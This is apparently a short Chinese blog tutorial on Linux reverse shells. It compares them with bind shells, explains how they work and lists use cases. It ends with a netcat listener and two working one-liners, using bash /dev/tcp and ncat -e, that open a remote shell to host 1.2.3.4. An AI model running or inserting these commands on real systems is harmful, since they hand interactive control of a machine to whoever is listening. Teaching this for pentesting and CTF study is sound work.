Linux 反向 Shell
反向 Shell(Reverse Shell)是目标主机主动连接控制端,把自身的标准输入、输出、错误重定向到这条网络连接,从而让控制端获得一个交互式 Shell。
反向 Shell(Reverse Shell)对比 正向 Shell(Bind Shell):
| 类型 | 谁监听 | 谁连接 | 典型场景 |
| 正向 Shell | 目标主机监听端口 | 控制端主动连目标 | 目标有公网 IP、入站端口开放 |
| 反向 Shell | 控制端监听端口 | 目标主动连控制端 | 目标在 NAT/防火墙后,出站允许 |
工作原理:
- 控制端在一台可达的主机上监听某个端口
- 目标主机执行一段代码,创建一个 TCP/UDP 连接,连到控制端
- 目标把 /bin/bash 或 /bin/sh 的 stdin、stdout、stderr 绑定到这个 socket
- 控制端收到连接后,就能像本地终端一样执行命令
适用场景:
- 渗透测试 / 红队
- 目标在 NAT、防火墙后,无法从外部直接连入
- 出站策略通常比入站宽松,反向 Shell 更容易成功
- 授权范围内用于验证边界防护、横向移动路径
- 远程运维 / 内网设备管理
- 设备没有公网 IP,只能主动连管理端
- 避免在设备上开放入站端口,减少攻击面
- 常用于 IoT、工控、分支节点
- 受限网络
- 只允许出站 80/443,反向 Shell 可走这些端口
- 通过 HTTPS、DNS、ICMP 隧道变种绕过简单 ACL
- 应急响应与取证
- 在受控、隔离环境中获取交互式会话
- 配合审计和日志,分析可疑进程行为
- CTF 竞赛与教学
- 典型题型:拿到 RCE 后建立反向 Shell 提权
- 用于学习网络、进程、文件描述符、Shell 重定向
实现方法:
控制端(IP:1.2.3.4):nc -lvnp 55555
目标端(python、openssl 等多种方法均可实现,如下列举两种简单方法):
方法 1:bash -i >& /dev/tcp/1.2.3.4/55555 0>&1
方法 2:ncat -e /bin/bash 1.2.3.4 55555

浙公网安备 33010602011771号